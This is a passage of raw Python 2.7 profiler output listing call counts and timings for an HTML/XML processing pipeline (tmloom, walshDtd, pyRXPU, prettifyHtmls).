0.000 0.207 0.000 {posix.waitpid} 81486 0.203 0.000 0.203 0.000 {method 'acquire' of '_multiprocessing.SemLock' objects} 60682 0.197 0.000 0.197 0.000 {posix.pipe} 96146 0.180 0.000 0.180 0.000 {posix.lstat} 8666 0.175 0.000 19654.165 2.268 /home2/rackdev/tmloom/lib/pretty.py:818(queueUpTask) 251358 0.168 0.000 0.168 0.000 {method 'remove' of 'list' objects} 8666 0.165 0.000 106.379 0.012 /home2/rackdev/ch_tools/walshDtd.py:2276(modifyAttValues) 21704 0.161 0.000 2.998 0.000 /usr/lib/python2.7/sre_compile.py:359(_compile_info) 1 0.158 0.158 19811.943 19811.943 /home2/rackdev/tmloom/lib/pretty.py:2151(prettifyHtmls) 7554 0.156 0.000 0.156 0.000 {_codecs.ascii_encode} 186100 0.155 0.000 0.155 0.000 /usr/lib/python2.7/stat.py:24(S_IFMT) 8666 0.155 0.000 0.539 0.000 /usr/lib/python2.7/shutil.py:93(copystat) 17336 0.154 0.000 307.328 0.018 /usr/lib/python2.7/subprocess.py:768(communicate) 40748 0.154 0.000 0.204 0.000 /usr/lib/python2.7/threading.py:299(_is_owned) 17336 0.153 0.000 0.571 0.000 /usr/lib/python2.7/subprocess.py:1371(wait) 21704 0.145 0.000 104.813 0.005 /usr/lib/python2.7/sre_compile.py:493(compile) 65800 0.143 0.000 0.143 0.000 {_codecs.lookup} 169797 0.141 0.000 0.141 0.000 {method 'lower' of 'str' objects} 76 0.130 0.002 0.191 0.003 /usr/lib/python2.7/sre_compile.py:301(_optimize_unicode) 8666 0.129 0.000 160.367 0.019 /home2/rackdev/tmloom/lib/ch_elementtree.py:995(XML) 8667 0.127 0.000 1.295 0.000 /home2/rackdev/tmloom/lib/pretty.py:4178(_writeSitemapInfo) 61185 0.122 0.000 0.122 0.000 {method 'release' of 'thread.lock' objects} 3046 0.121 0.000 1.068 0.000 /home2/rackdev/tmloom/lib/pretty.py:3357(detailFunc) 2518 0.120 0.000 0.187 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:354(parserParamsAsKeywordArguments) 8666 0.120 0.000 4.017 0.000 /usr/lib/python2.7/shutil.py:122(copy2) 8666 0.118 0.000 0.134 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1301(close) 8666 0.117 0.000 0.117 0.000 {posix.utime} 37341 0.117 0.000 0.117 0.000 {hasattr} 81505 0.115 0.000 0.115 0.000 {method 'acquire' of 'thread.lock' objects} 21704 0.114 0.000 66.930 0.003 /usr/lib/python2.7/sre_parse.py:675(parse) 17336 0.114 0.000 0.142 0.000 /usr/lib/python2.7/subprocess.py:754(__del__) 177847 0.113 0.000 0.113 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:954(normRightIpBracket) 8666 0.110 0.000 1.893 0.000 /home2/rackdev/tmloom/lib/pretty.py:4139(putSitemapItemOnQueue) 65800 0.106 0.000 0.106 0.000 /usr/lib/python2.7/codecs.py:395(__init__) 8666 0.103 0.000 0.915 0.000 /home2/rackdev/tmloom/lib/insertSemiPersistentIds.py:771(Str2hex8) 81168 0.102 0.000 0.102 0.000 {method 'rfind' of 'unicode' objects} 81166 0.098 0.000 0.098 0.000 {method 'rstrip' of 'unicode' objects} 15398/1117 0.093 0.000 0.443 0.000 /usr/lib/python2.7/copy.py:226(_deepcopy_list) 17336 0.091 0.000 0.147 0.000 /usr/lib/python2.7/subprocess.py:1330(_handle_exitstatus) 43408 0.089 0.000 0.140 0.000 /usr/lib/python2.7/sre_compile.py:472(isstring) 134917 0.088 0.000 0.088 0.000 /usr/lib/python2.7/sre_parse.py:134(__setitem__) 104020 0.086 0.000 0.086 0.000 {method 'fileno' of 'file' objects} 8666 0.084 0.000 0.230 0.000 /usr/lib/python2.7/shutil.py:54(_samefile) 1 0.083 0.083 0.342 0.342 /home2/rackdev/tmloom/lib/utils.py:20() 35900 0.082 0.000 0.144 0.000 /home2/rackdev/ch_tools/walshDtd.py:44(dictionaryCmp) 43349 0.081 0.000 0.081 0.000 {method 'remove' of 'set' objects} 33305 0.077 0.000 0.077 0.000 {method 'split' of 'unicode' objects} 2518 0.077 0.000 91.465 0.036 /home2/rackdev/ch_tools/ch_pyRXPU.py:1258(tree2Xml) 216 0.077 0.000 0.077 0.000 {posix.listdir} 8666 0.075 0.000 0.574 0.000 /usr/lib/python2.7/shutil.py:46(copyfileobj) 2462 0.075 0.000 0.093 0.000 /home2/rackdev/tmloom/lib/pretty.py:550(_tweakTaxmapifiedUrisDict) 21704 0.075 0.000 37.586 0.002 /usr/lib/python2.7/sre_compile.py:478(_code) 8666 0.074 0.000 31.740 0.004 /usr/lib/python2.7/codecs.py:573(readlines) 118534 0.074 0.000 0.074 0.000 {max} 50181 0.072 0.000 0.404 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1159(quoteFragmentIdentifierString) 2618 0.069 0.000 0.327 0.000 /home2/rackdev/ch_tools/ch_globalItem.py:134(getGlobalItemMetaDict) 10292 0.068 0.000 0.087 0.000 /home2/rackdev/ch_tools/walshDtd.py:132(start_element) 8666 0.067 0.000 0.067 0.000 {posix.chmod} 21704 0.066 0.000 0.066 0.000 {_sre.compile} 3040 0.063 0.000 0.168 0.000 /home2/rackdev/tmloom/lib/pretty.py:3122(tweakStartAndEndOfHtml) 2518 0.062 0.000 1276.751 0.507 /home2/rackdev/ch_tools/ch_pyRXPU.py:828(mungeTree) 43341 0.061 0.000 0.061 0.000 {method 'update' of 'set' objects} 65800 0.061 0.000 0.061 0.000 /usr/lib/python2.7/codecs.py:322(__init__) 97301 0.060 0.000 0.060 0.000 /home2/rackdev/tmloom/lib/pretty.py:1830(lengthCmp) 81486 0.058 0.000 0.058 0.000 {method 'release' of '_multiprocessing.SemLock' objects} 8666 0.057 0.000 31.797 0.004 /usr/lib/python2.7/codecs.py:674(readlines) 46356 0.055 0.000 0.083 0.000 /usr/lib/python2.7/sre_compile.py:51(fixup) 1 0.054 0.054 0.082 0.082 {_socket.getaddrinfo} 34674 0.054 0.000 0.054 0.000 {built-in method register} 17336 0.053 0.000 0.053 0.000 /usr/lib/python2.7/subprocess.py:458(_cleanup) 8668 0.050 0.000 0.050 0.000 {pyexpat.ParserCreate} 1 0.050 0.050 0.050 0.050 {method 'recv' of '_socket.socket' objects} 10292 0.049 0.000 0.062 0.000 /home2/rackdev/ch_tools/walshDtd.py:313(end_element) 17336 0.049 0.000 0.049 0.000 {gc.enable} 40744 0.048 0.000 0.048 0.000 {method 'append' of 'collections.deque' objects} 5154 0.047 0.000 0.235 0.000 /usr/lib/python2.7/posixpath.py:365(abspath) 2 0.046 0.023 0.046 0.023 {method 'connect' of '_socket.socket' objects} 5039 0.046 0.000 0.046 0.000 {method 'strip' of 'unicode' objects} 34674 0.046 0.000 0.046 0.000 {built-in method unregister} 8031 0.044 0.000 0.058 0.000 /home2/rackdev/tmloom/lib/pretty.py:4125(fixMetaCharsetElement) 2572 0.041 0.000 103.428 0.040 /home2/rackdev/tmloom/lib/utils.py:65(initGlobalItem) 20524 0.040 0.000 0.068 0.000 /home2/rackdev/ch_tools/walshDtd.py:423(char_data) 34674 0.039 0.000 0.039 0.000 {method 'pop' of 'dict' objects} 1 0.038 0.038 0.039 0.039 /usr/lib/python2.7/multiprocessing/connection.py:425(answer_challenge) 14824 0.038 0.000 0.072 0.000 /build/buildd/python2.7-2.7.6/Modules/pyexpat.c:839(DefaultHandlerExpand) 21705 0.038 0.000 0.117 0.000 /usr/lib/python2.7/sre_parse.py:178(__init__) 1 0.036 0.036 0.393 0.393 /home2/rackdev/tmloom/lib/irs_ingestinstances.py:3() 4051 0.035 0.000 0.059 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:1008(ancestors) 56592 0.034 0.000 0.034 0.000 {_sre.getlower} 14824 0.034 0.000 0.034 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1238(_default) 17336 0.034 0.000 0.034 0.000 {method 'count' of 'list' objects} 93 0.033 0.000 0.033 0.000 {posix.mkdir} 17336 0.032 0.000 0.032 0.000 {select.poll} 8771 0.031 0.000 0.031 0.000 /usr/lib/python2.7/UserDict.py:18(__getitem__) 8666 0.030 0.000 0.044 0.000 /home2/rackdev/tmloom/lib/pretty.py:912(noSuffixFunc) 17336 0.029 0.000 0.029 0.000 /usr/lib/python2.7/subprocess.py:1344(_internal_poll) 8679 0.028 0.000 1.071 0.000 /usr/lib/python2.7/codecs.py:666(read) 8666 0.028 0.000 0.135 0.000 /usr/lib/python2.7/posixpath.py:160(samefile) 5036 0.028 0.000 0.036 0.000 /usr/lib/python2.7/sre_parse.py:790(expand_template) 105 0.028 0.000 0.028 0.000 {posix.rmdir} 5036 0.027 0.000 0.251 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:632(setWorkFilePaths) 4051 0.026 0.000 0.055 0.000 /home2/rackdev/tmloom/lib/pretty.py:431(_tweakPageNumberMarkersDict) 2 0.025 0.013 0.144 0.072 /home2/rackdev/ch_tools/walshDtd.py:523(dtdDictToDtdString) 7327 0.025 0.000 0.060 0.000 /home2/rackdev/tmloom/lib/pretty.py:613(_tweakUnaccountedforUrisDict) 5740/164 0.024 0.000 0.037 0.000 /home2/rackdev/ch_tools/walshDtd.py:448(formatContentModelGroup) 1 0.024 0.024 0.394 0.394 /home2/rackdev/tmloom/lib/pretty.py:1885(setUpTaxmapificationOfHrefs) 35/13 0.023 0.001 0.142 0.011 /usr/lib/python2.7/os.py:209(walk) 8666 0.022 0.000 159.788 0.018 /home2/rackdev/tmloom/lib/ch_elementtree.py:1292(feed) 3039 0.022 0.000 0.512 0.000 /home2/rackdev/tmloom/lib/pretty.py:83(writeReport) 34678 0.021 0.000 0.021 0.000 {globals} 2618 0.021 0.000 0.206 0.000 /home2/rackdev/ch_tools/ch_globalItem.py:114(getGlobalItemName) 17337 0.021 0.000 0.021 0.000 {posix.WEXITSTATUS} 8666 0.020 0.000 0.028 0.000 /usr/lib/python2.7/stat.py:52(S_ISFIFO) 17337 0.020 0.000 0.020 0.000 {posix.WIFSIGNALED} 1 0.020 0.020 0.022 0.022 /usr/lib/python2.7/subprocess.py:389() 3039 0.020 0.000 0.345 0.000 /home2/rackdev/tmloom/lib/pretty.py:794(_writeCreatedAutolinksReport) 21721 0.019 0.000 0.019 0.000 {method 'items' of 'dict' objects} 21704 0.019 0.000 0.019 0.000 /usr/lib/python2.7/sre_parse.py:67(__init__) 1 0.019 0.019 0.589 0.589 /home2/rackdev/tmloom/lib/batch.py:8() 8666 0.019 0.000 0.019 0.000 /usr/lib/python2.7/stat.py:21(S_IMODE) 20434 0.019 0.000 0.019 0.000 /usr/lib/python2.7/threading.py:81(_note) 8845 0.019 0.000 0.055 0.000 /usr/lib/python2.7/posixpath.py:139(islink) 12876 0.019 0.000 0.019 0.000 {method 'split' of 'str' objects} 1 0.019 0.019 0.027 0.027 /usr/lib/python2.7/encodings/idna.py:3() 8666 0.018 0.000 0.018 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1059(__init__) 2573 0.018 0.000 103.636 0.040 /home2/rackdev/ch_tools/ch_globalItem.py:19(initGlobalItem) 3048 0.018 0.000 0.025 0.000 /home2/rackdev/tmloom/lib/pretty.py:3124(tagsAndComments) 5036 0.017 0.000 0.035 0.000 /usr/lib/python2.7/re.py:271(_subx) 2519 0.017 0.000 72.189 0.029 /home2/rackdev/tmloom/lib/utils.py:8545(getUrlMapperDict) 17336 0.016 0.000 0.016 0.000 {posix.WIFEXITED} 56 0.016 0.000 34.803 0.621 /home2/rackdev/ch_tools/ch_globalItem.py:274(_saveGlobalItem) 1 0.015 0.015 0.358 0.358 /home2/rackdev/tmloom/lib/el.py:7() 1 0.015 0.015 0.037 0.037 /usr/lib/python2.7/multiprocessing/__init__.py:90(Manager) 5141 0.015 0.000 0.015 0.000 {posix.getcwd} 3040 0.015 0.000 0.029 0.000 /home2/rackdev/tmloom/lib/pretty.py:742(_tweakAutolinksDict) 1 0.014 0.014 0.014 0.014 /usr/lib/python2.7/sqlite3/dbapi2.py:24() 1 0.014 0.014 0.017 0.017 /usr/lib/python2.7/multiprocessing/managers.py:36() 1 0.014 0.014 0.072 0.072 /usr/lib/python2.7/dist-packages/pkg_resources.py:17() 1 0.014 0.014 0.030 0.030 /usr/lib/python2.7/urllib.py:25() 7327 0.013 0.000 0.073 0.000 /home2/rackdev/tmloom/lib/pretty.py:584(tweakUnaccountedforUrisDict) 5036 0.013 0.000 0.049 0.000 /usr/lib/python2.7/re.py:277(filter) 3040 0.012 0.000 0.021 0.000 /home2/rackdev/tmloom/lib/pretty.py:3174(finalCleanup) 8666 0.012 0.000 0.012 0.000 {iter} 8844 0.012 0.000 0.018 0.000 /usr/lib/python2.7/stat.py:55(S_ISLNK) 17336 0.011 0.000 0.011 0.000 {gc.isenabled} 1 0.011 0.011 0.039 0.039 /home2/rackdev/ch_tools/ch_urinorm2.py:8() 17453 0.011 0.000 0.011 0.000 /usr/lib/python2.7/sre_parse.py:205(tell) 3073 0.011 0.000 0.056 0.000 /home2/rackdev/tmloom/lib/utils.py:5558(xmlifyAttributeValue) 1 0.011 0.011 0.090 0.090 build/bdist.linux-x86_64/egg/pyRXPU.py:1(__bootstrap__) 1 0.011 0.011 0.016 0.016 /usr/lib/python2.7/shutil.py:7() 17336 0.011 0.000 0.011 0.000 {gc.disable} 5170 0.011 0.000 0.016 0.000 /usr/lib/python2.7/posixpath.py:59(isabs) 2656 0.010 0.000 0.015 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1127(_quoteUriCharacterFunc) 8666 0.010 0.000 0.010 0.000 {hex} 85 0.009 0.000 0.009 0.000 {posix.rename} 1 0.009 0.009 0.009 0.009 /usr/lib/python2.7/pdb.py:7() 1 0.009 0.009 0.467 0.467 /home2/rackdev/tmloom/lib/expts3.py:196() 5036 0.009 0.000 0.018 0.000 /usr/lib/python2.7/re.py:251(_compile_repl) 1 0.009 0.009 19811.999 19811.999 /home2/rackdev/tmloom/lib/pretty.py:2129(prettifyHtmls_in_Tax_Map) 8680 0.009 0.000 0.009 0.000 {posix.getpid} 192 0.008 0.000 0.026 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1802(find_on_path) 8666 0.008 0.000 0.008 0.000 {method 'zfill' of 'str' objects} 1 0.008 0.008 0.015 0.015 /usr/lib/python2.7/mimetools.py:4() 1 0.008 0.008 0.011 0.011 /home2/rackdev/tmloom/lib/topclass.py:12() 1 0.008 0.008 0.027 0.027 /usr/lib/python2.7/urllib2.py:92() 4051 0.008 0.000 0.063 0.000 /home2/rackdev/tmloom/lib/pretty.py:402(tweakPageNumberMarkersDict) 1 0.007 0.007 0.018 0.018 /home2/rackdev/ch_tools/ch_show.py:6() 3040 0.007 0.000 0.037 0.000 /home2/rackdev/tmloom/lib/pretty.py:705(tweakAutolinksDict) 217 0.007 0.000 0.007 0.000 {method 'clear' of 'dict' objects} 3 0.007 0.002 0.007 0.002 {time.sleep} 10388 0.007 0.000 0.007 0.000 {method 'strip' of 'str' objects} 2902/89 0.007 0.000 0.023 0.000 /home2/rackdev/ch_tools/walshDtd.py:874(surveyModelOrModelGroup) 2456 0.006 0.000 0.099 0.000 /home2/rackdev/tmloom/lib/pretty.py:521(tweakTaxmapifiedUrisDict) 2860/99 0.006 0.000 0.011 0.000 /home2/rackdev/ch_tools/walshDtd.py:964(changeCaseOfGisInModelOrModelGroup) 8666 0.006 0.000 0.006 0.000 /home2/rackdev/tmloom/lib/utils.py:4952(__init__) 8666 0.006 0.000 0.006 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1075(close) 6252 0.005 0.000 0.006 0.000 /home2/rackdev/ch_tools/walshDtd.py:624(attValueSpecString) 3 0.005 0.002 0.005 0.002 {method 'get_data' of 'zipimport.zipimporter' objects} 1 0.005 0.005 0.005 0.005 /usr/lib/python2.7/socket.py:47() 1 0.005 0.005 0.007 0.007 /usr/lib/python2.7/tempfile.py:21() 1 0.005 0.005 0.006 0.006 /usr/lib/python2.7/SocketServer.py:129() 2 0.004 0.002 0.008 0.004 /home2/rackdev/ch_tools/walshDtd.py:1291(makeAttCharacterizationDict) 1 0.004 0.004 0.004 0.004 /usr/lib/python2.7/copy.py:51() 1 0.004 0.004 0.004 0.004 /usr/lib/python2.7/collections.py:1() 2 0.004 0.002 14.860 7.430 /home2/rackdev/ch_tools/walshDtd.py:1690(tweakDtd) 1 0.004 0.004 0.025 0.025 /home2/rackdev/tmloom/lib/parse.py:8() 1 0.004 0.004 0.482 0.482 /home2/rackdev/tmloom/lib/topicdb.py:24() 2016 0.004 0.000 0.005 0.000 /home2/rackdev/tmloom/lib/utils.py:4933(xmlifyDataFunc) 1740 0.004 0.000 0.005 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:1141(xmlifyDataFunc) 3040 0.003 0.000 0.003 0.000 /home2/rackdev/tmloom/lib/pretty.py:3098(__init__) 2812 0.003 0.000 0.016 0.000 /home2/rackdev/ch_tools/walshDtd.py:798(addGiToSurvey) 848 0.003 0.000 0.004 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1096(_unquoteUriCharacterFunc) 611 0.003 0.000 0.006 0.000 /home2/rackdev/tmloom/lib/pretty.py:372(_tweakNonIrsDotGovUrisDict) 1 0.002 0.002 0.561 0.561 /home2/rackdev/tmloom/lib/premunge.py:9() 1 0.002 0.002 0.003 0.003 /usr/lib/python2.7/multiprocessing/__init__.py:44() 61 0.002 0.000 0.057 0.001 /home2/rackdev/ch_tools/walshDtd.py:1442(normalizeContentModelsXMLishly) 1 0.002 0.002 0.008 0.008 /usr/lib/python2.7/BaseHTTPServer.py:69() 3080 0.002 0.000 0.002 0.000 /usr/lib/python2.7/re.py:285(_pickle) 32 0.002 0.000 0.011 0.000 /home2/rackdev/tmloom/lib/pretty.py:3772(urlMapperTriggerFunc) 1 0.002 0.002 0.006 0.006 /usr/lib/python2.7/ssl.py:58() 4 0.002 0.000 0.004 0.001 /usr/lib/python2.7/multiprocessing/__init__.py:213(Queue) 1 0.002 0.002 0.111 0.111 /home2/rackdev/ch_tools/ch_pexpect.py:65() 1 0.002 0.002 0.017 0.017 /usr/lib/python2.7/httplib.py:69() 1 0.002 0.002 0.002 0.002 /usr/lib/python2.7/multiprocessing/connection.py:35() 2736 0.002 0.000 0.002 0.000 {method 'upper' of 'str' objects} 2096 0.002 0.000 0.002 0.000 /usr/lib/python2.7/sre_parse.py:128(__delitem__) 75 0.002 0.000 0.003 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2381(insert_on) 28 0.001 0.000 0.035 0.001 /home2/rackdev/tmloom/lib/pretty.py:3788(urlMapperDetailFunc) 1 0.001 0.001 0.199 0.199 /home2/rackdev/tmloom/lib/pretty.py:6() 1 0.001 0.001 0.456 0.456 /home2/rackdev/tmloom/lib/irs3.py:102() 1 0.001 0.001 0.002 0.002 /usr/lib/python2.7/multiprocessing/queues.py:35() 611 0.001 0.000 0.008 0.000 /home2/rackdev/tmloom/lib/pretty.py:343(tweakNonIrsDotGovUrisDict) 1 0.001 0.001 19813.054 19813.054 /home2/rackdev/tmloom/lib/tmloom2.py:22(main) 2 0.001 0.001 0.544 0.272 /home2/rackdev/ch_tools/walshDtd.py:1233(adjustAttributeValuesInDtdDict) 2 0.001 0.001 0.319 0.159 /home2/rackdev/ch_tools/walshDtd.py:119(walshDtdToDtdDict) 486 0.001 0.000 0.002 0.000 /home2/rackdev/ch_tools/ch_globalItem.py:322(findLastVersionFunc1) 15 0.001 0.000 11.887 0.792 /home2/rackdev/ch_tools/walshDtd.py:1644(writeAuditFile) 1844 0.001 0.000 0.002 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1966(_normalize_cached) 2 0.001 0.001 0.002 0.001 /usr/lib/python2.7/collections.py:288(namedtuple) 42 0.001 0.000 43.792 1.043 /home2/rackdev/ch_tools/ch_show.py:195(show) 4 0.001 0.000 0.028 0.007 {__import__} 152 0.001 0.000 0.006 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2192(from_location) 152 0.001 0.000 0.003 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:547(add) 1 0.001 0.001 0.003 0.003 /home2/rackdev/tmloom/lib/rules3.py:3() 7 0.001 0.000 0.001 0.000 {compile} 485 0.001 0.000 0.001 0.000 /usr/lib/python2.7/urllib.py:1206() 4 0.001 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/managers.py:885(MakeProxyType) 1 0.001 0.001 0.002 0.002 /usr/lib/python2.7/pickle.py:27() 485 0.001 0.000 0.001 0.000 /usr/lib/python2.7/urlparse.py:332() 45 0.001 0.000 34.799 0.773 /home2/rackdev/ch_tools/ch_globalItem.py:70(saveGlobalItem) 1 0.001 0.001 0.001 0.001 /usr/lib/python2.7/glob.py:3() 1 0.001 0.001 0.015 0.015 /usr/lib/python2.7/sqlite3/__init__.py:24() 452 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2240(key) 1 0.001 0.001 0.001 0.001 /usr/lib/python2.7/random.py:42() 854 0.001 0.000 0.001 0.000 {unichr} 47 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2685(_get_mro) 152 0.001 0.000 0.003 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2180(__init__) 1 0.001 0.001 0.220 0.220 /home2/rackdev/ch_tools/walshDtd.py:993(adjustCaseOfGisInDtdDict) 93 0.001 0.000 0.035 0.000 /usr/lib/python2.7/os.py:136(makedirs) 1 0.001 0.001 0.004 0.004 /usr/lib/python2.7/urlparse.py:31() 232 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2341(__getattr__) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/hmac.py:6() 46 0.000 0.000 0.031 0.001 /usr/lib/python2.7/dist-packages/pkg_resources.py:472(add_entry) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/io.py:37() 69 0.000 0.000 0.001 0.000 /home2/rackdev/tmloom/lib/utils.py:5652(_sgmlifyEmptyElements1) 2 0.000 0.000 0.768 0.384 /home2/rackdev/ch_tools/walshDtd.py:51(sgmlDtdToWalshDtd) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:35() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/xml/parsers/expat.py:2() 154 0.000 0.000 0.001 0.000 /usr/lib/python2.7/genericpath.py:85(_splitext) 1 0.000 0.000 0.036 0.036 /home2/rackdev/tmloom/lib/instpann.py:33() 148 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1141(safe_version) 1 0.000 0.000 0.138 0.138 /home2/rackdev/ch_tools/ch_util.py:3() 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/zipfile.py:433(_GenerateCRCTable) 119 0.000 0.000 0.001 0.000 /usr/lib/python2.7/genericpath.py:15(exists) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pty.py:9() 1 0.000 0.000 34.085 34.085 /home2/rackdev/tmloom/lib/pretty.py:1804(addTopicPageUrlsToSeeProductREDict) 7 0.000 0.000 0.001 0.000 /home2/rackdev/tmloom/lib/utils.py:6082(rawUpDownCase) 1 0.000 0.000 0.648 0.648 /home2/rackdev/ch_tools/walshDtd.py:1320(sgmlDtdToXmlDtd) 70 0.000 0.000 0.000 0.000 {method 'tolist' of 'array.array' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hashlib.py:55() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:74(__init__) 1 0.000 0.000 0.137 0.137 /home2/rackdev/ch_tools/ch_pyRXPU.py:13() 117 0.000 0.000 0.001 0.000 /usr/lib/python2.7/re.py:134(match) 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/zipfile.py:803(_RealGetContents) 75 0.000 0.000 0.005 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2308(activate) 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/hubclass.py:27(tml) 78 0.000 0.000 0.001 0.000 /usr/lib/python2.7/genericpath.py:26(isfile) 1 0.000 0.000 19812.000 19812.000 /home2/rackdev/tmloom/lib/batch.py:483(genericFunction) 28 0.000 0.000 0.005 0.000 /home2/rackdev/tmloom/lib/pretty.py:680(_tweakUpdatedIrsUrisDict) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/base64.py:8() 215 0.000 0.000 0.000 0.000 {method 'format' of 'str' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/getpass.py:18() 78 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:127(dirname) 154 0.000 0.000 0.001 0.000 /usr/lib/python2.7/posixpath.py:104(splitext) 75 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1927(fixup_namespace_packages) 152 0.000 0.000 0.002 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1133(safe_name) 3 0.000 0.000 0.001 0.000 /home2/rackdev/tmloom/lib/utils.py:6139(rawUpDownCaseWithCharacterClassProtection) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/heapq.py:127() 45 0.000 0.000 34.799 0.773 /home2/rackdev/tmloom/lib/utils.py:184(saveGlobalItem) 79 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2303(_get_metadata) 1 0.000 0.000 0.004 0.004 /home2/rackdev/tmloom/lib/xsltmap.py:15() 1 0.000 0.000 0.001 0.001 /home2/rackdev/ch_tools/ch_globalItem.py:7() 12 0.000 0.000 0.000 0.000 {dir} 1 0.000 0.000 0.015 0.015 /home2/rackdev/tmloom/lib/axy.py:3() 16 0.000 0.000 0.001 0.000 /usr/lib/python2.7/posixpath.py:387(_joinrealpath) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/threading.py:3() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/stringprep.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/xml/__init__.py:20() 23 0.000 0.000 0.000 0.000 {posix.write} 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:258(expanduser) 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:323(add_handler) 1 0.000 0.000 0.007 0.007 /home2/rackdev/tmloom/lib/ch_elementtree.py:79() 52 0.000 0.000 0.001 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:166(paramREFormat) 78 0.000 0.000 0.000 0.000 /usr/lib/python2.7/stat.py:49(S_ISREG) 99 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:329() 1 0.000 0.000 0.000 0.000 /home2/rackdev/tmloom/lib/batch.py:555(done) 19 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/renumberMSGroups.py:110(revertToParensAndPopulateNamedGroupDict) 8 0.000 0.000 0.050 0.006 /usr/lib/python2.7/socket.py:406(readline) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:36() 24 0.000 0.000 0.001 0.000 /home2/rackdev/tmloom/lib/utils.py:8199(longestPatternFirstDisregardingGroupNames) 46 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1771(find_distributions) 47 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2692(_find_adapter) 1 0.000 0.000 1.289 1.289 :5() 3 0.000 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/queues.py:177(_start_thread) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:238(readheaders) 2 0.000 0.000 0.005 0.003 /usr/lib/python2.7/dist-packages/pkg_resources.py:1627(_is_current) 28 0.000 0.000 0.000 0.000 {built-in method __new__ of type object at 0x919120} 1 0.000 0.000 0.002 0.002 /usr/lib/python2.7/zipfile.py:4() 1 0.000 0.000 1.942 1.942 :6() 8 0.000 0.000 0.000 0.000 /usr/lib/python2.7/abc.py:148(__subclasscheck__) 46 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:366(get_importer) 1 0.000 0.000 0.000 0.000 {imp.load_dynamic} 1 0.000 0.000 0.023 0.023 /home2/rackdev/ch_tools/walshDtd.py:937(surveyContainmentsInDtdDict) 38 0.000 0.000 0.000 0.000 /home2/rackdev/ch_tools/renumberMSGroups.py:96(_renumberGroups) 159 0.000 0.000 0.000 0.000 {method 'lstrip' of 'unicode' objects} 1 0.000 0.000 0.005 0.005 /usr/lib/python2.7/dist-packages/pkg_resources.py:732(subscribe) 1 0.000 0.000 0.005 0.005 /home2/rackdev/tmloom/lib/checkHtmls.py:5() 1 0.000 0.000 0.101 0.101 /home2/rackdev/ch_tools/ch_formatRegexp.py:3() 137 0.000 0.000 0.000 0.000 {method 'find' of 'str' objects} 28 0.000 0.000 0.005 0.000 /home2/rackdev/tmloom/lib/pretty.py:643(tweakUpdatedIrsUrisDict) 5 0.000 0.000 0.000 0.000 {built-in method today} 1 0.000 0.000 19811.999 19811.999 /home2/rackdev/tmloom/lib/hubclass.py:7(script) 42 0.000 0.000 0.000 0.000 {posix.access} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:35() 127 0.000 0.000 0.000 0.000 {method 'rstrip' of 'str' objects} 39 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:1418(_fn) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:27(__init__) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:259(__init__) 75 0.000 0.000 0.005 0.000 /usr/lib/python2.7/dist-packages/pkg_resources.py:2760() 75 0.000 